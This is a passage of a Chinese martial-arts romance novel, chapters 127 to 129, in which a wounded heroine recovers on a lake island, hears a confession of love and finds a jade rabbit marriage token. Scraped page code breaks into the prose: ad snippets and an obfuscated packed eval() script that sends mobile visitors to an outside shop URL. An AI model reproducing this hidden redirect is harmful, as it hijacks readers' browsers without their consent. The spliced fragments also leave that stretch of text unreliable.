也许是真的饿了,也许是她拗不过凌牧云,也许就是叶芷萱心里也明白,这样怄气不吃饭是不现实的,她总要尽快康复起来,然后赶回到楚州。自从她醒来,就惦记蒙古兵是否继续南下了,记挂丁鹏搬兵是否顺利,很是令她心烦。 芷萱虽只说了三个字,凌牧云还是领会了她的意思,于是又把粥碗拿了过来,就那样一口一口地喂着芷萱吃。 一向冷酷、骄傲的叶芷萱还从未在任何人面前展现柔弱的一面,如今自己无助的样子却被凌牧云见到了,她心里有不甘,也有那若有若无的女儿家的娇羞。 从小生在土匪窝里,叶芷萱很少见到女的,跟她同龄的女孩子就更少了。她在寨子里放眼望去,都是一帮粗鲁汉子,久而久之,她也就不拿自己当女孩子看了,不仅穿男装,性格爽直,就是行事作风也都是男儿做派。她不爱针线女红,只喜欢跟着哥哥和弟弟舞枪弄棒。所以在凌牧云这里,不管她愿不愿意,都是她第一次真正体会到自己作为女孩子被宠爱的感觉。 吃的第一口,芷萱就被这粥给惊艳到了,她从未吃过这么好吃的粥,有那么一瞬间,她都想问问凌牧云是怎么做得这么好吃,只是两人是“敌对关系”,芷萱也只有按下心中疑问。 凌牧云给芷萱熬的是鱼片粥,鱼是凌牧云从霁月湖新打捞上来的,肉质极嫩。早在芷萱还没醒来,凌牧云就把粥熬上了,之后一直用小火慢煨在灶子上,就是等着芷萱醒来就喂她吃。这粥算是药膳,凌牧云在里面放了十二味药,不仅可以调味,许多药材还是帮着芷萱补血补气的。 本来芷萱是没什么胃口的,可粥太好喝了,很快一碗粥就被她喝完了。牧云温柔问道:“要不要再喝一碗?” 芷萱很想说要喝,可话到嘴边却说不出口。刚刚自己还怄气不吃不喝,又极尽恼骂之能事,现在却一变脸就要一碗接着一碗地喝人家的粥,这么“不要脸”的事芷萱着实做不出。但拒绝的话同样说不出口,这会儿她肚子里的馋虫一直在叫,芷萱觉得怎么都安抚不住,她这样对自己说:“恐怕只有再喝下一碗才能安静下来。” 芷萱微微抿了抿嘴唇,硬口道:“如果你是怕粥浪费了,我倒可代劳多食一点。” 凌牧云强掩笑意,“哦,我不怕浪费,就不勉强姑娘了。而且我还未用饭,一会儿我喝了算了。” 芷萱恨此人恨得牙痒痒,她甚至怀疑是不是上天在捉弄自己,为何派了这么一个人事事与自己作对。 凌牧云受了这个丫头那么多的气,总是要找个机会小小“回击”一下,否则他怕日子久了自己被芷萱看成了软骨头,那样的话又怎么会对自己有好感呢。不过戏不能做过了,到了晚上,凌牧云又给芷萱做了新鲜的鱼片粥,芷萱喝粥的时候想恨凌牧云都恨不起来了,这次她不敢再多说话,只是美美地喝了两碗。 127. 第一百二十七章 在凌牧云的悉心照料下,芷萱静养了一个星期后,身上的伤好了许多。虽然伤口处还有些痛,但她已经可以自己坐起来甚至是下床,有时她还会在凌牧云的搀扶下挨着床边走一走。许多心态会随着时间而改变,那些过去不习惯的人和事也会逐渐适应,在一遍遍地警告恐吓凌牧云不要碰自己,而凌牧云一次次当做耳边风后,芷萱也就无奈地放弃去说他了,或者说是认命了,谁让自己受了那么重的伤,又是在人家的地盘呢。 捡回一条命,按理说是好事,可在水望云岛养伤的日子,叶芷萱越发心事重重了,她太想知道外面现在是什么情况,具体点说就是想知道楚州如今有没有失陷?丁鹏请回援兵了吗?芷萱当然知道那海的目标不是楚州而是临昌,她不敢深想如果临昌二度失守,对整个国家和百姓来说是怎样一场灾难。如果真发生了那样的事,她会因辜负了哥哥叶阳晨的信任而感到万分难过的。 起初芷萱常常在那里一个人发呆,要么就是面带忧色,凌牧云看在眼里,还以为她的闷闷不乐是因困在此地,或是不喜与自己相处的缘故。又观察了几日,他见叶芷萱郁郁寡欢不见好转,这才有些担忧了。凌牧云心想,若是芷萱真遇到什么烦难之事,倒是真愿意赴汤蹈火帮她摆平一切。 那天晚上,见叶芷萱又在那里发呆,凌牧云走过来问道:“你怎么又不开心了?我能帮助你吗?” “关你屁…关你什么事?”女孩子说脏话总归不太文雅,芷萱刚要出口的脏话,还是咽了回去。 自从被凌牧云看过了身体,芷萱便觉得自己失了清白之身,她因此事心里一直记恨着凌牧云,而且难以释怀。可“恨”这种东西会随着时间变淡,芷萱一想到自己的命是被凌牧云救回来的,而且又被凌牧云照顾了这些天,她就更加恨不起来了。平日里,芷萱就不喜欢欠别人的,有恩必报,更何况这次还受了人家的恩情,她就更有点做不到“恩将仇报”了。但芷萱仍然讨厌凌牧云,看到他心里就窝火的那种讨厌。 芷萱的态度生硬,可凌牧云仍耐心解释着,“你别误会,我并没有别的意思,我是说,如果你需要什么帮助,我可以帮你。” “你能帮我?”芷萱本不想这样问,可她现在确实有难处,也就顾不得面子了。 “太能了,如果在这个世界上你所遇到的难事连我都帮不到你的话,那么你一定遇到天大的麻烦了。而且我可以自信的说,凭我的能量都帮不到你的话,那么别人恐怕也无能为力。”为了和芷萱拉近关系,凌牧云不再掩饰自己的实力。 芷萱陷入两难,不知该不该对凌牧云说出自己的心事。她问了问自己的内心,相信他的人品,相信他是可以完全信任的,不只是因为这段日子的相处,还因为一个事实,那就是如果凌牧云真想害自己的话,就不会费尽心力救自己了。 看芷萱纠结的表情,凌牧云眉毛一挑,“怎么?心事不能讲与我听?” 叶芷萱太担心外面的战况了,想了想后说道:“那如果我告诉了你,你能替我保密吗?” “怎么?还是不能相信我?” 芷萱抿了抿唇,“你能打探到外边的消息吗?” “什么外边消息?” 芷萱眉色微微凝重,“我的意思是前段日子蒙贼那海遽然侵我族地,你可知晓?” 凌牧云语气如常,“当然知道。” “那我想知道的就是如今楚州失守了吗?” “没有!” 芷萱眼眸突亮,“你当真没有骗我?” “我没有骗你,更不敢骗你。” “那你的消息准确吗?可靠吗?”芷萱仍不放心,追问着凌牧云。 凌牧云眼神充满自信,“不能再准确可靠了,这里离楚州这么近,如果楚州真被蒙古人占领了,我会得到消息的。” “你的消息是从哪儿来的?这几日这里只有我和你……”芷萱不放心,终究还是要问个明白。她并不知道,站在自己面前的就是云鹤帮的帮主凌牧云。 “这里虽然只有我和你,但是有任何重要消息我还是会收到飞鸽传书的。” 武林中人惯用飞鸽传信,这也算不得什么稀奇事,芷萱便没有多想。两年前她就见识过凌牧云的武功,就看出来此人并非凡品,那么凌牧云消息灵通也不值得大惊小怪。 听到楚宗没有沦陷,芷萱大喜过望,“真的太好了,那你帮我送封信吧?我想给我的家人报个平安,省得他们担心。”说完后芷萱又突然不好意思起来,如果不是没有其他办法,她是真不愿意求凌牧云,好像凌牧云这次帮了自己,自己就没法再恨他了。可现在情况紧急,芷萱也顾虑不了那么多了。 “说吧,送去哪里?”凌牧云正色问道。 “楚州,叶帅府。” “楚州?叶帅府?你认识叶阳晨?”很久以前,凌牧云听说叶阳晨这个名字是在江湖,那个时候叶阳晨已经是江湖上最耀眼的星。只是后来叶阳晨中了状元,走了仕途之路,这让凌牧云有些看不懂了。后来叶阳晨守临昌夺楚州,凌牧云第一时间获悉此消息,他好像又明白了叶阳晨的本色。凌牧云觉得自己也有一颗报国爱国的心,但却没有叶阳晨的魄力和勇气。凌牧云虽然与叶阳晨从未谋面,可英雄之间总是惺惺相惜的,凌牧云总想着什么时候有机会,去楚州会会叶阳晨。 “何止认识?还很熟。怎么?你也听说过叶阳晨这个名字?”芷萱当然知道哥哥名满天下,这么问只是故意逗凌牧云罢了。 “这么如雷贯耳的名字,恐怕天下没有几个人不知道吧?”凌牧云继续问道,“叶阳晨与你什么关系?” “问的那么细干嘛?你是想查丁籍怎么的?我偏不告诉你。”芷萱从来不愿在江湖上打着哥哥的旗号行事,尽管这个旗号真的很好用,但她就是不想给哥哥惹上一点点麻烦,他们兄妹之间的感情,比金坚,比海深。 凌牧云拿这丫头片子是一点办法也没有,只好悻悻作罢。 叶芷萱没有继续挤兑凌牧云,而是让他取来笔墨。写好了信,芷萱把信交给了凌牧云,并连连叮嘱他不许偷看。 幸好叶芷萱来了这封信,算是给叶帅府的兄弟姐妹吃了定心丸,派出去找芷萱的几路人也都回了叶帅府。 前几日,清扬和映雪等人也赶到了楚州,在得知芷萱失踪后,所有人都心急如焚。叶清扬、丁鹏和映雪等人竭力四处打听芷萱的下落,可是一直没有她的消息。叶帅府的全体人甚至已经想到了最坏的结果,就是芷萱已经战死,只是尸首还未找到罢了。 叶清扬还给叶芷萱回了信,说楚州城一切安好,希望她能尽快平安归来。 霁月湖离楚州没有很远,收到清扬的回信,叶芷萱喜出望外,她终于可以安心在水望云岛养伤了。 又过了两个星期,叶芷萱基本康复了,她甚至可以出了屋子走上一炷香的功夫。房子是临湖而建,碧波在窗下经过,水天相接的湖景随时随处睁眼可见,让人心旷神怡。 芷萱喜欢上了这里的水景,准确说,她是喜欢上了水望云这个小岛,好像待在这里便一切烦忧不再有。如果没有有要事在身,叶芷萱还真想在霁月湖这个地方再住上一段时间。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔的时候,凌牧云会拉着叶芷萱坐在水边的窗台处手谈一局。叶芷萱不愿意,凌牧云就说不下棋就不给她吃晚饭,最后芷萱只能答应陪凌牧云对弈。不过任何时候都不服输的叶芷萱,下棋也不例外,她不允许凌牧云一直赢自己,凌牧云就只好偶尔故意输给她几盘。 在这个如诗如画的地方,只有他们两个人,这次两人每□□夕相处,芷萱对凌牧云的了解自然比第一次见他时多了许多,而一旦了解了他的品行和为人后,就真的没有那么厌恶这个人了。其实仅从凌牧云的气质风度,芷萱就可以大致判断出此人并非恶人,只是“受辱”心结一时间不能释怀。 一见钟情是情,日久生情亦是情,人在受伤的时候也是最脆弱的,被凌牧云照顾了那么久,不知不觉间,叶芷萱对他渐渐生出一丝依赖,这是芷萱长到这么大从来没有的感觉。这种依赖的感觉导致一个最直接的后果就是,她在心里反复对自己说,好像分别的日子临近了。 那天晚饭后,叶芷萱冷着脸道:“喂,讨厌鬼,我的伤好得差不多了,也该离开了。”她很想说句谢谢,毕竟凌牧云也照顾了自己这么长时间,可那晚被凌牧云“欺负”的心结还在,芷萱心里的那句谢谢自然也就说不出口了。 凌牧云有些不舍,用商量的语气说道:“要不再在这里将养一段时间吧?你身上的伤还没有好完全。” “不行。” 凌牧云依旧放心不下,“干嘛那么急着走?你是有急事吗?我可不可以替你去办?” “你这人怎么这么啰嗦?我急着走自然有我的道理。” 要是别人用这种口气跟自己说话,凌牧云早就怒了,他可是云鹤帮的帮主,是一呼百应的存在。可芷萱每次跟他顶着说话,他却一点脾气都没有。芷萱坚持要走,凌牧云脸上露出一丝失望,但又不好再继续挽留。 看到凌牧云那副失落的样子,叶芷萱又微微有些心软,随即她被这一丝心软弄得说不出的别扭和心烦,她也不知自己在心烦什么,只是看见凌牧云表情不悦的样子,她的心就跟打了结似的,怎么都解不开。其实芷萱也有点不舍得离开,但是她坚持认为自己的不舍不是因为凌牧云,而只是因为这里景色太美,待得太过舒适。 两人都陷入沉默,良久,凌牧云说道:“也好,早晚要走的,我就不强人所难了。那我送送你,把你平安送到楚州后,我再回来。” “谁让你送?” “你这丫头片子,能不能不什么事都那么犟?你要是不让我送的话,你就走不成了。”凌牧云不放心芷萱,所以这件事不能由着她。 见凌牧云有点生气了,芷萱眼睛也跟着瞪起来,“你…你这个人怎么跟无赖似的?” “随你怎么说,总之我不会让你一个人走的,这个条件没得商量。我好不容易把你从鬼门关里抢回来,你至少珍惜一点。” 凌牧云的这番话本身是让芷萱感动的,可芷萱不习惯凌牧云用这种特别强势的语气跟自己说话,面子作祟,叶芷萱气得抓狂,她觉得凌牧云就是自己的克星,她总是拿这个人没有一点办法,“你这个人怎么这么烦啊?你为什么总要缠着我?” “因为我喜欢你。”就连凌牧云自己也没想到,心里一着急,这句心里话竟然脱口而出了。但既然说了,他也没打算收回去,他目不转睛地盯着芷萱看,眼里有着化不开的温柔。 话音落下,叶芷萱完全愣住了,她的耳边嗡嗡作响,随即控制不住地心跳慢慢加快。更让叶芷萱慌乱的是,她听到凌牧云对自己说出这样的话,心里竟然迟迟没有反感的情绪生出来。 128. 第一百二十八章 凌牧云眼神执着而坚定,“是的,你没有听错,我喜欢你,真的喜欢。你要离开了,我舍不得,所以我就更确信这一点。” 芷萱受不了凌牧云眼眸里的深情,视线微微错开,“你不要说胡话,把你的话收回去,我就当没听见。”芷萱真的不知该如何反驳,好像所有的话语都那么无力。 “收不回去了,连自己喜欢的女孩都不敢表露心意,我凌牧云还算什么男子汉?” “你…我劝你不要在我身上浪费时间了,我是不会嫁人的。”此时,芷萱的面色和语气都是极其平静的,以前遇到这种事她是不会和颜悦色的。芷萱自己也发现了,她已做不到对凌牧云冷脸冷语的,怎么都做不到,怎么都狠不下心来。不过芷萱那句不嫁人并不是在骗凌牧云,她就是觉得一个人生活不依附任何男人也是挺潇洒的,她一直想不明白为何女孩的终极结局都是要嫁人呢? 凌牧云不以为意,“浪费也是浪费我的时间,这不由你操心。况且,这是不是浪费时间要由我自己说的算。” 听凌牧云那样说,叶芷萱翻了个大大的白眼,“我好心好意劝你,你不要这么冥顽不灵,想必你也看出来了,我身上没有一丝淑女的气质,更不会什么针织女红,不符合你们男人寻找娇妻的标准。” 凌牧云云淡风轻道:“我不喜欢温文尔雅的女孩,我喜欢英姿飒飒的你。” 对着那张俊美英朗的脸,听着如此温柔浪漫的话语,芷萱也不能做到绝对免俗,她的心中不由得泛起阵阵涟漪,这是她从来没有过的,可她并不喜欢这种感觉。芷萱见心平气和与凌牧云沟通行不通,于是硬气道:“你再对我说这些轻薄话,小心我对你不客气。” “我说的话哪里轻薄?表白自己心仪的女孩就叫轻薄?那司马相如对卓文君说‘有一美人兮见之不忘,一日不见兮思之如狂’,那这也是轻薄话?吾意已决,此生不渝。” “你这个人怎么这么顽固不化啊?”说完,芷萱还小声嘟哝着,“真是个死心眼。” 凌牧云没有立刻接芷萱的话,而是思忖片刻后说道:“我改变主意了。” 话音落下,叶芷萱怔住了,刚才是心乱,但听到凌牧云说改变主意了,心里又不由得空落落的。她还以为是因自己一而再再而三的拒绝,凌牧云终于想通了,也就放弃喜欢自己了。叶芷萱对自己说,自己不喜欢人家,又极力拒绝人家,凌牧云改变主意也再合理不过,只是她不痛快的是凌牧云放弃得也太快了。 叶芷萱故作轻松道:“谢天谢地,你终于放弃喜欢我了。” “你误会了,我的意思是我不准备送你到楚州就回来了,我要以后一直陪在你身边。以后你去哪儿,我就去哪儿。” 反转得太快,叶芷萱有种措手不及的感觉。她脑子有点乱,片时,她才回过神来,“谁让你陪?” “你女扮男装在军营当兵,这也太危险了,我要陪在你身边保护你。” “你怎么知道我在军营当兵……”话一出口,芷萱想起自己中箭时身穿甲胄。 凌牧云玩味一笑,与芷萱对视一眼,那份“默契”尽在不言中。 本来芷萱还想拒绝凌牧云跟自己回楚州,或者再骂他几句解气,可看到凌牧云眼底的炽热滚烫,到嘴的话走了样。叶芷萱轻咬着嘴唇,“你不要和你说了,我要回房间睡了。” “好吧,你去睡吧!过两天我们就离开这里了,明天我带你回我家看看吧。” 芷萱顿住脚步,回眸道:“难道这里不是你的家?”虽然芷萱也怀疑过这里怎么就住着凌牧云一个人,但是她从来没有问过。 “这也是我的家,但我不常住在这里。” “那你的家在哪儿?” “这个小岛叫水望云,在霁月湖里还有一个很大的岛叫湖心潭,我在那里还有个家。” 听凌牧云那么说,芷萱还有点期待湖心潭长得什么样,“湖心潭有这里漂亮吗?” 凌牧云语气如常,“怎么说呢?各有千秋吧,都挺好的。湖心潭更有烟火气,这里更安静。当初给你疗伤,我怕你的身份不能暴露,所以才带你来的这里。” 听凌牧云那么说,芷萱心里有点微微的感动,没想到凌牧云那么心细,考虑得那么周到。 凌牧云没留意芷萱的变化,继续说道:“这是我的秘密领地,我心情特别不好的时候会来这里,练功修炼的时候会来这里。这里除了我自己,没有外人上来过,不过只有你是个例外。” 听到凌牧云说自己是个例外,叶芷萱的脸还是微微一红。她当然明白这句话意味着什么,但叶芷萱从前就不喜欢被人表白的感觉,尤其不喜欢听到是来自凌牧云的表白,不是因为讨厌,而是因为他的直白和坦率,还有眼里的真诚,都令芷萱无所适从。 叶芷萱是叶阳天的掌上明珠,以叶阳天的江湖地位,这些年去泽清山提亲的人络绎不绝,有叶阳天的挚交好友,也有他的亲朋故旧,其中不乏武林世家和书香门第,但叶芷萱无一不是拒绝。叶芷萱曾在佛祖面前起过誓,这一生除非遇到自己真正喜欢的人,否则终身不嫁,她才不会因为到了适婚年龄草草定下终身。索性江湖儿女,不必理会寻常百姓家那些约定俗成的女大当嫁的规定。 叶阳天之所以没有逼自己女儿定亲,不全是因为他对女儿很迁就,而是他一直有一个心结在。年轻时他曾对自己的救命恩人许下过诺言,将来自己要是有女儿,就把她嫁到恩公家,让两家结秦晋之好。 那年叶阳天才十五岁,家道中落,被仇人追杀。当时幸得一位头发花白的老将军相救,他才幸免遇难。叶阳天当时无以为报,便把家传的宝贝玉兔赠予了恩人作为信物。 后来叶阳天落草泽清山,成为当世豪杰,但他一刻不曾忘记老将军当年的救命之恩,也不曾忘记自己许下的诺言。叶阳天这个人把“一诺千金”这四个字看得比自己的命都重要。只是时间流转,救叶阳天的那位老将军离世后,他的后人也不知所踪。虽然那段忘年交没有了后来的故事,可叶阳天一刻都不曾忘记自己当年的承诺,几十年过去了,他一直对口头婚约之事耿耿于怀,总觉得恩公的后人一定还活在人世。叶阳天也曾走遍大江南北,寻找恩公的下落,可都无所获。他拖着芷萱的婚事,就是怕这边刚嫁了女儿,那边又突然有了恩公的消息,那样他就要失信于人了。 叶阳天给女儿叶芷萱讲过很多次这个恩人的故事,叶芷萱的耳朵都快听出茧子了。她很小就知道自己可能有个未婚夫,只是到底有没有这个缘分还取决于老将军有没有子息在世?而且即使有的话,还要能遇到那个人才行。但叶芷萱很庆幸父亲有这么个救命恩人,这就像自己有个“免死金牌”一样,否则她早就被爹爹许配给人了。 叶芷萱还经常跟温映雪开玩笑,说如果将来她碰不见那个真命天子,两个人就相依为命到终老。只是连她自己都不知道,这一切因为遇见凌牧云有了不一样的变化。 翌日,凌牧云划着小船带着叶芷萱去了湖心潭岛。下了船后,两人穿过一大片树林后来到大路上。看见熙熙攘攘的人群,叶芷萱彻底惊呆了。如果不是亲眼所见,她真的不相信这个岛上竟然繁华至如此程度,她竟有种错觉,好像自己来到了繁华之都。 芷萱终于忍不住问道:“诶,讨厌鬼,这个地方怎么会有座城呢?建这座城的人真的好伟大啊!” “哦,你就当这里是个世外桃源吧,它当得起的。这里没有饥饿,没有压迫,更没有战争,是真正的幸福乐土。” 这一次,芷萱没有反驳凌牧云的话,因为她知道凌牧云的话没有半分虚假。果然如凌牧云昨日所说,湖心潭这里更有烟火气。 在霁月湖水望云岛养伤的日子,芷萱每天生活在水天之间,看烟波浩渺,赏落日孤霞,她觉得那里已经美得令人沉醉了,只是她总觉得那里好像少了点什么。今天叶芷萱看见湖心潭岛的繁华盛景,她才明白,水望云岛少了的是人文之美。世间所有美景,只有染上烟火气,才能算是真正的天堂。 良久,叶芷萱还是觉得自己走在幻境里,放眼望去皆是盛景,街道是那般一尘不染,两边各种商铺林立,茶坊酒肆遍地。见岛上每个人的脸上都写满了幸福,叶芷萱突然鼻子一酸。此时外边战火纷飞,这里的百姓却可以依水安居乐业,真是让人感到温暖。 两人走着,突见叶芷萱嘴角勾出一抹浅笑,凌牧云觉得甚是美好,那也是他第一次见叶芷萱笑。平日里,芷萱的脸上都是终年寒霜,永不消融,总是让人感觉不到任何温暖。 凌牧云温柔问道:“你喜欢这里?” 叶芷萱的注意力皆被眼前的热闹景象吸引去了,她只是随口“嗯”了一声。 凌牧云情不自禁继续道:“那以后我们老了,就来这里生活,可好?” 叶芷萱倏然回过神来,“呸,谁要跟你一起?”她觉得这个人脸皮也真厚,年纪轻轻的,就想老了的事情。 凌牧云见叶芷萱难得玩的开心,就陪着她四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731558|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处逛着。 逛了一个时辰后,两人来到一个白墙黑瓦、重檐花窗的大宅院门前。芷萱望过去,眼前这座古色古香的建筑犹如水墨画一般,大门的上方悬有凌府的匾额,端庄恢宏,不禁让人肃然。 凌牧云敲了两下门,随即一个身穿华服的老者打开大门,旋即恭敬说道:“少爷,你回来了?” 叶芷萱猜这位老者就是凌府的管家。 凌牧云冲着管家道:“这个“公子”是我的朋友,他会在家里住几天。还有,就让他住在我卧室隔壁的书房就好。” 见叶芷萱身上穿着凌牧云的衣服,管家便知叶芷萱是少爷很重要的朋友,于是冲着芷萱微微点头行礼,然后对凌牧云说道:“好的少爷,我这就去准备准备。” 叶芷萱跟着凌牧云绕过正堂走入内院,她调侃道:“讨厌鬼,你们家不错嘛,五步一景,十步一画。” “芷萱谬赞了。” “不准你叫我名字。” “你不让我叫你名字,那我叫你什么?也叫你讨厌鬼?” 被凌牧云这么一问,芷萱反而不知该怎么回答。她想了想,好像凌牧云称呼自己什么,自己都是不乐意的。 见芷萱不说话,凌牧云莞尔一笑,“那要不我就叫你萱萱,把那个‘芷’字去掉?听起来会不会好一些。” 芷萱觉得凌牧云就是故意的,明明萱萱这个名字比芷萱听上去更亲密,自己肯定是更无法接受的。 芷萱厉声道:“你少得寸进尺。” 凌牧云见芷萱有点生气了,便不再反驳,当然也不生气,他几乎是无条件迁就着叶芷萱。 叶芷萱也很纳闷,“好像自己无论怎么发脾气,凌牧云都会让着自己。”这反而让叶芷萱偶尔心存愧疚,好像自己在欺负人一样,她想凌牧云一定是故意要以退为进的,他就是让自己生出内疚之心。 凌牧云先带着叶芷萱去到自己的书房,不过去书房需先经过凌牧云的卧房,然后走过院子,再穿过一个月亮门,呈现在眼前的是一个小独院。这个小院很安静,也是平日里凌牧云最喜爱的去处之一。 其实凌牧云家的宅院非常大,客房少说也有上百间,不过凌牧云就是觉得叶芷萱会喜欢这里。 果然,走进月亮门的叶芷萱眼睛突兀一亮。脚下鹅卵石铺成三人宽的甬路,路的两旁种满了白色的鸢尾花,花丛一直延伸至书房门前的台阶。院落的角落有假山和水池,叠石就来自霁月湖底,千姿百态,灵秀飘逸,水池里则养着各色的金鱼,有大眼的,有圆头的。这里处处清新雅致,诗情画意,芷萱不必多想,就知道这里的一切都源自凌牧云的手笔。 叶芷萱跟着凌牧云进了书房,先入眼的是九州山河锦绣屏风,屏风上旭日东升照苍穹,紫气升腾春意浓,雄峰高耸,九河滔滔,盛景格外耀目。绕过屏风,正中是一张巨大的黄花梨木的书案,书房角落里还放有一张马蹄足三屏风罗汉床,同样是黄花梨木的,芷萱想那应是凌牧云看书困倦时小憩用的。 芷萱上前几步,见书案上摞着各种有关兵法的书,旁边是鱼尾砚和白玉笔筒。最特别的当属金虎镇纸,那只金虎仰着头,神态惟妙惟肖、栩栩如生。 叶芷萱被镇纸吸引了,拿在手里看了又看,“你的这只虎不错。” “嗯,我特别喜欢老虎。” “为什么?你属相是老虎?”叶芷萱推测凌牧云跟自己年龄相仿。 “不,我属兔!” 叶芷萱没想到凌牧云竟然跟哥哥同岁。 凌牧云反问:“你属蛇吧?” “你怎么知道?”话一出口,叶芷萱脸一红,连忙补充说道,“你不要说出来了,当我没问。”她突然想起来,还是自己贴身的肚兜上绣着只小绿蛇。叶芷萱推测,凌牧云知道自己属蛇,一定又是从自己肚兜上的图案推测出来的。 凌牧云第一次对一个女孩倾心,不太知道怎么跟女孩相处,所以时常说错话。屋子里突然静下来,两人都有些尴尬。 凌牧云突然灵机一动,“芷萱,我送你个礼物吧?” “我不要。”芷萱赌气道。 可凌牧云并没有听叶芷萱的话,而是从书柜里拿出一个紫檀方木盒。打开木盒,凌牧云从里面取出一个玉兔,白玉通体晶莹,玲珑剔透,不见一丝杂质。凌牧云暖心一笑伸出手,“给你!” 叶芷萱的呼吸好似停止了,脑海里的神经也都错乱了,她惊愕不已道:“你怎么会有这么一只兔子?” 129. 第一百二十九章 凌牧云并不明白叶芷萱话里的意思,如实说道:“我也不知道,听我父亲告诉我,是我曾祖父传下来的。” 叶芷萱拒绝道:“这是你家传的东西,我不要。” “没关系,这是我的私人的东西,我想给谁就给谁?” “你为什么要把它送给我?” “这个玉兔煞是可爱,做工也精巧,我想你会喜欢吧?而且我属兔,把它送给你,就好像我陪在你身边一样。” “谁让你陪?” 叶芷萱认得这只玉兔,因为这只玉兔自己也有一只,是一模一样的,就是父亲叶阳天送给她的,算是父亲的传家宝。 看到这个玉兔的第一眼,叶芷萱便心如撞鹿,现在心跳越来越快,她在心里想:“既然凌牧云的这只玉兔是父亲为感谢凌牧云曾祖父的救命之恩而赠出的信物,那么自己就是与凌家有婚约的。” 芷萱不希望凌牧云是自己的未婚夫,她甚至自欺欺人希望这玉兔是个赝品。带着这最后一丝侥幸,芷萱快速拿起玉兔去看底座,上面果然刻着“叶阳”两个字,这一眼芷萱心凉了半截。其实她不用看底座的,仅凭玉兔的形态,就不会认错的。 即使这样,叶芷萱仍不死心地试探问道:“凌牧云,我来问你,你们凌家到你这一代就你一个孩子吗?”她想的是,如果凌牧云不是凌家这一代唯一的子嗣,如果是的话,那么自己的婚配对象还不一定就是凌牧云。 凌牧云没有太明白芷萱话里的意思,脸色茫然。 芷萱翻了个白眼,“我的意思是你有没有亲生的兄弟姐妹?” 凌牧云恍然,他虽然不知叶芷萱为什么突然这么一问,但还是如实回答道:“我们家三代单传。” 听到凌牧云是家里的独苗,叶芷萱完全心慌意乱了,“原来自己是凌牧云的未婚妻,原来她和面前这个霁月清风的男子,竟然有这么深的缘分?原来自己以后可能都无法摆脱这个命里的‘克星’了。”她不得不感慨世间的事冥冥之中,自有天定。 芷萱记得父亲跟自己说过那个恩公的名字,于是问道:“你的祖父是不是单名一个“宏”字?” “你是怎么知道的?”凌牧云惊讶得嘴巴微张。 “你不用管我怎么知道,即使你问,我也不会说。” 叶芷萱听下来,似乎凌牧云并不知道这只玉兔的真正意义,也不知道这只玉兔里藏着的婚约,这让她微微庆幸。叶芷萱自然不会告诉凌牧云这些,这样的结果她求之不得。芷萱下定主意,她要把这个秘密一直咽到肚子里。 不过这一点庆幸还平息不了心乱,不知为什么,看见这个玉兔后,叶芷萱总觉得凌牧云倏然闯入了自己的心,带着那只兔子一起闯进来的。从前,凌牧云对自己来说是陌路人,后来他成了自己的救命恩人,而现在他又多了一层身份,就是自己的准夫婿。不管自己是否承认,这毕竟是事实。有了这种光环,芷萱看凌牧云时的眼神又多了几分不自然,但也似乎多了一种亲人般的感觉。 凌牧云重新把玉兔放回盒子里,“总之,我就把这个给你了,你必须要收下,咱们离开这里的时候务必带上。” 看见凌牧云把紫檀方木盒放到书架上,望着凌牧云的背影,叶芷萱心里突然跳出一个画面,“两只玉兔重逢了。” 整个晚上,凌牧云都觉得叶芷萱有点奇怪,尽管叶芷萱依旧冰冷,但是跟自己说话的时候,却少了那么一丝锋芒。 翌日,叶芷萱起床后,便穿过月亮门去找凌牧云。她不好意思去敲门,就在门外轻轻叫了声:“凌牧云……” 见屋里没有人答应,叶芷萱又叫了一句。这时凌府的管家远远地走了过来,躬身道:“公子,你是找我们家少爷吗?” “是的,老伯。” “我们家少爷早早就出去了,他说过几天要出个远门,并且很久不回来,所以要处理一下帮里的事情。” “什么?帮里?” 老伯微微眯眼笑着,“你是我们少爷的朋友,难道你不知道我们少爷是云鹤帮帮主?” 叶芷萱略有尴尬,“哦…我知道的,只是刚才突然没反应过来。”虽然嘴上这样说,但她的心里已经翻江倒海。云鹤帮是江湖上大名鼎鼎的帮派,与长风寨和天玄教齐名,只是这个帮行事过于低调,江湖上也只流传着它的传说。叶芷萱生在武学世家,当然听说过云鹤帮的威名,只是平日里被自己称为“讨厌鬼”的人,竟然摇身一变成了天下第一大帮的帮主,而且凌牧云还那么年轻有为,她的心里自然惊讶万分,甚至生出一丝敬佩。 老伯继续说道:“公子,我这就让丫鬟把早饭给您端到屋里去。” “有劳老伯了。” 用过早饭,叶芷萱觉得无聊,就好奇想去云鹤帮总坛走走,主要她是想看看凌牧云领导的云鹤帮是怎样神一般的存在,她也很好奇作为帮主的凌牧云到底是什么样子的。 叶芷萱去找管家,“老伯,我想去找云鹤帮总坛找凌牧云。” “哦,少爷走时交代了,说你有事可以去帮里找他。给你,这是出入云鹤帮金腰牌。” 叶芷萱把腰牌拿在手里看了看,腰牌的正面是一片云和一只鹤,鹤立于云端,背面只写了一个“凌”字。 管家解释道:“这是少爷的私人腰牌,整个云鹤帮也只有这么一块。” 叶芷萱接过金腰牌,她深知这腰牌的贵重。 叶芷萱拿着管家给的地址,去了云鹤帮。其实整个湖心潭岛上,基本都是云鹤帮的人,即使不是云鹤帮的人,也是帮里人的家人。但是以防万一,云鹤帮的总坛不是谁都有资格进的。 叶芷萱来到云鹤帮总坛的门前,先入眼帘的是一副对联, “上联:云漂迎皎月,下联:鹤语送轻风。” “横批:云鹤故里。” 叶芷萱上前两步,对着守在门口的云鹤帮弟子说道:“两位小哥,我来找凌牧云。哦,来找你们的凌帮主。” 云鹤帮弟子没见过有人上总坛来找帮主的情况,以为是叶芷萱不懂规矩,于是训斥道:“这里不是可以胡闹的地方,请尽快离开。” 叶芷萱轻摇折扇,递出了凌牧云的金腰牌。 两位弟子接过腰牌一瞥,然后立刻毕恭毕敬地让开路,叶芷萱得意地走了进去。 